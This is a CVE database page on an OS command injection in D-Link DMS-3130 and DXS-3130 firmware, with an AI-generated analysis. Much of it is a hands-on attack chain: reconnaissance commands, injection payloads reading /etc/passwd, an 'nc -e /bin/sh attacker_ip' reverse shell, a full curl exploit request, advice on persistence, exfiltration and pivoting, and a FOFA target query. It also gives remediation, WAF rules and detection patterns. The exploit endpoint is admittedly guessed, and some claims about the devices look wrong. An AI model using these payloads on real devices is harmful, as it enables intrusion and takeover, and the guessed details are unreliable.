CVE Professor
/
All CVEs
CVE-2026-138358

CVE-2026-138358 — D-Link DMS-3130 (1.20.P006) — CWE-77 · CWE-78

CRITICAL CVSS 9.9 NVD

A vulnerability was identified in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this issue is the function http_import_nuclias_manager_profile of the file 464_Nuclias_Manager_Settings.lua of the component Nuclias Manager Profile Import. Such manipulation of the argument nuclias_manager_profile_src_file_name leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.

A vulnerability was identified in D-Link DMS-3130 and DXS-3130 1.20.P006. Affected by this issue is the function http_import_nuclias_manager_profile of the file 464_Nuclias_Manager_Settings.lua of the component Nuclias Manager Profile Import. Such manipulation of the argument nuclias_manager_profile_src_file_name leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The firmware of the D‑Link DMS‑3130 and DXS‑3130 (1.20.P006) contains a Lua‑based web interface component called Nuclias Manager Profile Import.
The function http_import_nuclias_manager_profile in 464_Nuclias_Manager_Settings.lua accepts a user‑supplied argument named nuclias_manager_profile_src_file_name.
That argument is concatenated directly into an operating‑system command without any sanitisation or validation.
Because the command is executed on the device’s shell, an attacker can inject arbitrary shell commands (CWE‑77 / CWE‑78).

Why it matters

  • Authentication/Authorization – The web interface requires a valid user session, but the vulnerability can be triggered with a low‑privilege account (PR:L).

  • Input validation – No checks for shell metacharacters or file‑path traversal.

  • Scope change – The injected command runs with the privileges of the web‑server process, giving the attacker full control of the device (S:C).
  • The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects that a remote attacker can read, modify, and destroy all data on the device and can also use the device as a pivot point in a larger network.


    ⚡ Attack Chain

    NOTE – The exact URI and HTTP method are not disclosed in the CVE text.
    The following example uses a typical REST‑style endpoint (/nuclias_manager/import) and a POST request, which is a common pattern for import functions in D‑Link firmware.
    If the real endpoint differs, the same payload logic applies; only the URL and parameter name may change.

    1. Discovery & Reconnaissance

    StepTechniqueWhat you learn
    1.1Network scanIdentify devices on the LAN that respond to HTTP/HTTPS on port 80/443.
    1.2Banner grabcurl -I http://<device-ip> → look for “D‑Link” or “DMS‑3130” in the Server header.
    1.3Firmware fingerprintcurl http://<device-ip>/ → the default login page often contains the firmware version in a comment or hidden field.
    1.4Verify versionConfirm the device is running 1.20.P006 (the vulnerable firmware).
    If the device is behind NAT or a firewall, use port‑forwarding or a VPN to reach it.

    2. Exploitation

    Goal – Inject a shell command via the nuclias_manager_profile_src_file_name parameter.

    2.1 Crafting the payload

    The vulnerable code likely does something akin to:

    os.execute("import_profile " .. args.nuclias_manager_profile_src_file_name)

    Thus any shell metacharacter (;, &&, |, >, etc.) will be interpreted by the shell.

    Example payload – read /etc/passwd:

    profile.txt; cat /etc/passwd

    Example payload – spawn a reverse shell (Linux):

    profile.txt; /bin/sh -c 'nc -e /bin/sh attacker_ip 4444'
    Replace attacker_ip with the IP of your listening machine.

    2.2 Sending the request

    curl -k \
         -X POST "http://<device-ip>/nuclias_manager/import" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         -d "nuclias_manager_profile_src_file_name=profile.txt;cat /etc/passwd" \
         -c cookie.txt -b cookie.txt

    Explanation

  • -k – ignore self‑signed certs (common on D‑Link devices).

  • -c cookie.txt -b cookie.txt – maintain a session cookie (if authentication is required).

  • The -d payload contains the injected command.
  • Illustrative example – the real endpoint may be /nuclias_manager/import or /nuclias_manager/import_profile. Adjust accordingly.

    2.3 Observing the response

    If the command is executed, the device’s HTTP response will contain the output of the injected command (e.g., the contents of /etc/passwd).
    If the device is configured to return a status code only, you may need to capture the output via a reverse shell or by writing to a file and downloading it later.

    3. Post‑exploitation

    Once arbitrary commands can be run, the attacker can:

    1. Establish persistence
    - Upload a webshell (e.g., webshell.php) to a writable directory (/www/ or /var/www/html/).
    - Set up a cron job or a systemd service that runs a reverse shell on boot.

    2. Privilege escalation
    - The web‑server process typically runs as root or a privileged user on embedded devices.
    - Any command executed via os.execute inherits those privileges, giving full control.

    3. Data exfiltration
    - Dump configuration files (/etc/config/*), logs, or network topology information.
    - Use scp or wget to transfer data to an attacker‑controlled server.

    4. Pivoting
    - Use the compromised device as a foothold to reach other devices on the same LAN (e.g., printers, switches, routers).
    - Execute similar command‑injection attacks on other firmware versions if they share the same component.


    🌍 Real World Impact

    ImpactDetail
    Confidentiality (C:H)Full read access to all device files, configuration, and potentially network traffic logs.
    Integrity (I:H)Ability to modify firmware, configuration, or inject malicious code.
    Availability (A:H)Arbitrary commands can crash the device, delete critical files, or lock out legitimate users.
    Scope (S:C)The vulnerability changes the security scope of the device, allowing an attacker to gain control of the entire device.

    Practical consequences

  • Industrial Control Systems (ICS) – D‑Link devices are often used as networked printers or VoIP gateways in corporate or industrial environments. Compromise can lead to denial of service for critical communications.
  • Enterprise LANs – Attackers can pivot to other assets, exfiltrate corporate secrets, or launch further attacks (e.g., ransomware).
  • IoT deployments – Many small offices use D‑Link devices as part of a larger IoT ecosystem; a single compromised device can expose the entire network.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ProductVulnerable FirmwareFixed Firmware
    D‑Link DMS‑31301.20.P0061.20.P007 (or later)
    D‑Link DXS‑31301.20.P0061.20.P007 (or later)

    Action – Download the latest firmware from the official D‑Link website and apply it following the vendor’s instructions.

    If a newer firmware is not available, proceed to the workarounds below.

    2. Workarounds

    MitigationHow to implement
    Disable the Nuclias Manager Profile Import featureAccess the web UI → Settings → Advanced → Nuclias Manager → toggle “Enable Profile Import” off.
    Restrict access to the devicePlace the device behind a firewall or VLAN that only allows trusted management IPs.
    Block the vulnerable endpointAdd a WAF rule (ModSecurity) that rejects requests containing shell metacharacters in the nuclias_manager_profile_src_file_name parameter.
    Use a reverse proxyRoute all traffic through a reverse proxy that strips or sanitises the parameter before forwarding to the device.

    ModSecurity rule example

    SecRule REQUEST_URI "@beginsWith /nuclias_manager/import" \
        "phase:2,block,log,id:1001,msg:'Command injection attempt in Nuclias Manager import',severity:2,tag:'cve-2026-138358'"
    
    SecRule ARGS:nuclias_manager_profile_src_file_name \
        "@rx [;&|`$<>*?]" \
        "phase:2,block,log,id:1002,msg:'Shell metacharacters detected',severity:2,tag:'cve-2026-138358'"
    Adjust the URI pattern to match the real endpoint.

    3. Detection

    IndicatorLog patternHow to look
    Suspicious parameternuclias_manager_profile_src_file_name=profile.txt;cat /etc/passwdSearch web‑server logs for nuclias_manager_profile_src_file_name containing ; or
    Unusual command outputResponse body contains /etc/passwd or root:Inspect HTTP responses for system file contents
    Reverse shell attemptsOutbound connections from device to attacker IP on uncommon ports (e.g., 4444)Monitor firewall logs for outbound TCP connections from device IP

    IoCs (example)

  • IP – 203.0.113.42 (attacker’s listening host)
  • Payload pattern – nuclias_manager_profile_src_file_name=.[;&|$<>?].*`
  • HTTP status – 200 OK with body containing /etc/passwd or root:

  • ⚠️ Urgency

  • CVSS score 9.9 – Critical severity.
  • Exploit complexity – Low (requires only a low‑privilege account).
  • CISA KEV – Not listed, but the vulnerability is already publicly exploitable.
  • Impact – Full compromise of device and potential pivot to the entire network.
Recommendation – Patch immediately. If a patch is not yet available, apply the workarounds above and restrict network access to the device. Monitor logs for the IoCs listed and block any suspicious activity.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (2)
D-Link:DMS-3130 (1.20.P006) D-Link:DXS-3130 (1.20.P006)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac